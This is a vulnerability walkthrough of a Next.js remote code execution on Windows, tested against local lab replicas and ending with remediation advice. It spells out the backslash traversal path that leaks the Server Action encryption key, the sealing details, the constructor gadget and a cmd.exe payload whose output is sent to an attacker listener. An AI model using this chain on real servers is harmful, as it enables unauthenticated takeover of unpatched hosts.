# Next.js CVE-2026-75604: unauthenticated RCE on Windows via the filesystem cache

> A walkthrough of CVE-2026-75604, an unauthenticated remote code execution in Windows-hosted Next.js 13.4 through 15.5.23 and 16.0 through 16.3.2. A backslash cache traversal leaks the private Server Action encryption key, and a forged multipart request runs cmd.exe.

CVE-2026-75604 (GHSA-p293-qw3h-jr36) is an unauthenticated remote code execution in Next.js on native Windows, versions 13.4 through 15.5.23 and 16.0 through 16.3.2. A backslash cache traversal leaks the private Server Action manifest, including the bound-argument encryption key. With the key, an attacker forges a Server Action request whose bound arguments resolve to the JavaScript `Function` constructor and runs `cmd.exe` on the server. There is no authentication and no prior access.

## The target

We built the lab from the reference POC and ran two replicas: `next@16.2.11` (vulnerable) and `next@16.3.3` (fixed), both native Windows `node` on ports 4330 and 4335. The app is small: a Pages ISR route under `/pages-cache`, an App Router route under `/app-cache`, and one Server Action form at `/`.

The action form:

<img src="/blog/nextjs-cve-2026-75604/form-page.webp" alt="The Server Action form: a value input set to harmless and a Submit button" width="984" height="630" />

The two cache routes that make the traversal possible. Both resolve path segments against the `.next` cache directory on Windows:

<img src="/blog/nextjs-cve-2026-75604/pages-cache-page.webp" alt="The pages-cache ISR route rendering seed" width="984" height="630" />

<img src="/blog/nextjs-cve-2026-75604/app-cache-page.webp" alt="The app-cache route rendering seed" width="984" height="630" />

## The bug

A Server Action form posts hidden inputs: a reference index (`$ACTION_REF_1`), a descriptor with the action id, and the bound arguments sealed with AES-GCM under a per-deployment key. The key and the action ids live in `server-reference-manifest.json` inside `.next`, and they must never leave the server: anyone who reads them can seal bound arguments and impersonate any action.

On Windows, `\` is a path separator, and the cache routes pass the request segment straight into the `.next` cache path. A URL-encoded backslash (`%5C`) escapes it and reads files from the build tree:

```
/_next/data/{buildId}/pages-cache/..%5C..%5Cserver-reference-manifest.json
```

That returns the manifest, unauthenticated:

```json
{"node":{"60ce77a25c832183a15ed26dfe86db9c7587d5a8a7":{"exportedName":"$$RSC_SERVER_ACTION_1","filename":"app/page.js"}},"edge":{},"encryptionKey":"G+oGBn6366I6F8xhoKCQ2o3ydxQ13aMb0ODUQH6dqvY="}
```

On Linux the same request is inert, because `\` is a legal filename character, not a separator. That is why the CVE only affects native Windows hosts.

## The chain

Five requests:

1. **Read the build id.** GET `/pages-cache/seed`, capture the build id from `__NEXT_DATA__`.
2. **Prime the cache.** GET `/app-cache/..%5C..%5Cserver-reference-manifest` with `Connection: close`, so the app-route cache resolves the manifest path.
3. **Leak the manifest.** GET `/_next/data/{buildId}/pages-cache/..%5C..%5Cserver-reference-manifest.json` with `Connection: close`, capture the `encryptionKey`.
4. **Parse the form.** GET `/`, capture the action reference and id, then seal the forged bound arguments: `base64(iv + AES-GCM ciphertext)` with a 16-byte IV.
5. **Forge the action.** POST `/` as multipart. The sealed bound arguments carry the `$1:constructor:constructor` gadget, which resolves the JavaScript `Function` constructor and runs the payload: `cmd.exe /d /s /c whoami /priv`, with the output POSTed back to the attacker's listener.

The callback body is the target's full privilege dump, not a username.

Three details were found by replaying the chain against the real server:

- **`Connection: close` on the recon steps.** With keep-alive, the app-route cache entry is not flushed before the leak, which renders a fallback instead of the manifest.
- **A 16-byte IV.** Next.js slices 16 bytes off the sealed payload. The usual 12-byte GCM default gets HTTP 500 and no callback.
- **The cache is one-shot.** A failed traversal writes a rendered entry at the traversal path that shadows the manifest on disk. Re-verify by deleting `.next` and rebuilding.

## How the solution encodes this

The chain is written once as a plain text solution. The runtime replays it, captures values from responses, and reports what the asserts found; it never executes anything from the file.

```text
id: nextjs/cve-2026-75604-rce
ref: CVE-2026-75604

vars:
  origin: http://127.0.0.1:4330
  field: value
  command: whoami /priv
  callback_path: /result/exm
```

The build id, the action reference and id, and the encryption key are all captured from responses in English shapes:

```text
http read-pages
  get "/pages-cache/seed"
  with the header "Connection" set to "close"
  capture the json field "buildId" as build_id
  expect "buildId" in the response
```

The bound arguments are sealed inline by a `set` transform that runs after the step's captures:

```text
http parse-form
  get "/"
  capture the input name after "$ACTION_REF_" as ref
  capture the json field "id" as action_id
  set action_cipher = aesgcm of "{action_id}1:{}\n0:[\"$1:constructor:constructor\"]\n" with "{key}"
  expect "$ACTION_REF_" in the response
```

Run it, and the runtime prints one line per step and the result:

```text
$ exploitmatic nextjs-cve-2026-75604-rce.txt http://127.0.0.1:4330

read-pages     PASS  contains "buildId"
prime-app      OK    (no test)
leak-manifest  PASS  contains "encryptionKey"
parse-form     PASS  contains "$ACTION_REF_"
forge          PASS  oob "/result/exm" body "PRIVILEGES INFORMATION\r\n----------------------\r\n\r\nPrivilege Name                Description                          State   \r\n============================= ==================================== ======..."

4/4 verified
```

The result comes from the tests, never from the file. The body is the start of the target's `whoami /priv` dump, and swapping the `command` variable turns the same file into a file-read or recon primitive. The full solution lives in the [solutions repository](https://github.com/exploitmatic/solutions) as `http/nextjs-cve-2026-75604-rce.txt`, with the [format reference](https://exploitmatic.com/docs/solution/format/).

## Verification

Against `next@16.2.11` the chain runs 4/4 verified and the callback body is the target's live privilege token. Against `next@16.3.3` the traversal is blocked, so the leak and the forge fail and the run ends `not verified` with exit code 2: a clean failure, not a false alarm.

## Remediation

Upgrade to 15.5.24 or 16.3.3. On native Windows, treat any reachable `.next` traversal as code execution, and watch for URL-encoded backslashes in pages-data and app-route paths. Avoiding the filesystem cache shrinks the surface until the upgrade lands.